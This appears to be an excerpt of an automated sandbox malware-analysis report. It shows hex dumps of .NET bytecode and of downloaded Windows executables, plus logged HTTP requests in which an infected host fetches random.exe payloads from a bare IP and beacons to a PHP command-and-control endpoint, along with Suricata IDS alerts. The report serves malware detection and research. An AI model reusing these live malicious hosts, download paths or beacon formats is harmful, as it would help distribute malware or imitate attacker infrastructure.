7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:42 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:49 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:57 GMTContent-Type: application/octet-streamContent-Length: 1114112Last-Modified: Thu, 19 Dec 2024 03:43:46 GMTConnection: keep-aliveETag: "67639672-110000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ca 10 00 00 20 00 00 00 cc 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 00 11 00 00 30 00 00 00 ce 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 fe 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 ea 10 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 3c 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 90 cc 00 00 60 70 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 59 3f a8 46 36 30 84 8d 99 35 b2 d7 ba 38 1a 04 e1 c1 34 7a 63 cb 3a 03 56 92 13 f5 e3 07 ce b0 b7 af 4e 86 30 c8 a0 a9 18 31 bb 9b aa d3 d6 97 4f 2a 18 53 9a e6 7e 04 d9 f6 cb a2 c0 0c f1 49 85 ff a2 70 52 05 b8 69 49 c0 d2 09 93 f6 80 50 6e 7d 9b 0e d8 a3 69 4a 21 42 48 8d 2b 6f 2f 53 ce de 79 6a a1 0e 91 38 54 27 cb 7d fa c0 ca 0f 79 ae 49 a7 6b 44 18 0d cd ef cf 27 f4 88 c7 1c f4 24 c4 36 fa f9 8d ca 7d ad 9c 77 5b db 20 29 e0 89 13 6a 80 07 5b bd 2d 16 d1 30 b8 af 9b bc 7c 7f 95 97 70 cc 12 c3 e3 68 5c 1f ff 4c 8a be b5 18 52 d9 54 96 7e 14 b4 9a 8f 1a 04 62 14 4b 86 68 b2 f1 85 12 0a 22 07 38 c7 73 60 29 e1 f6 9a 31 dd bf b1 13 20 c5 cc aa 98 9e 5b 69 26 ce 39 95 e8 9a 8a 81 a4 61 3f 19 46 03 89 4e 1d d7 98 7e f5 ff cd 5f 12 5e 7f 1b 8e 51 88 1e b8 db bc e6 34 33 f7 4c 97 80 01 81 c2 40 76 b3 89 e6 78 c5 ae 07 49 42 ed 34 de da f1 ba c2 0c 8a b7 f3 9a f3 f4 ac 7c bc 00 05 b9 9e c6 28 8a f1 f1 82 ed c7 cc a1 03 ab 7e 18 59 f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:13:05 GMTContent-Type: application/octet-streamContent-Length: 4522496Last-Modified: Fri, 20 Dec 2024 07:33:58 GMTConnection: keep-aliveETag: "67651de6-450200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 a0 b8 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b8 00 00 04 00 00 22 08 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 85 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 84 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 3a 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 70 7a 68 72 79 62 74 00 90 1c 00 00 00 9c 00 00 88 1c 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 62 6a 6f 66 71 6d 67 00 10 00 00 00 90 b8 00 00 04 00 00 00 dc 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 b8 00 00 22 00 00 00 e0 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018345001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018346001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018347001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018348001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018349001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018350001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 33 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018351001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.233.83.145 20.233.83.145

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49783 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49785 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49791 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49799 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49807 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49812 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49815 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49835 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49840 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49836 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49828 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49855 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49867 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49874 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49890 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49808 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49899 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49903 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49906 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49910 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49913 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49923 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49925 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49932 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49931 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49939 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49848 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49941 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49947 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49954 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49953 -> 104.21.91.209:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click
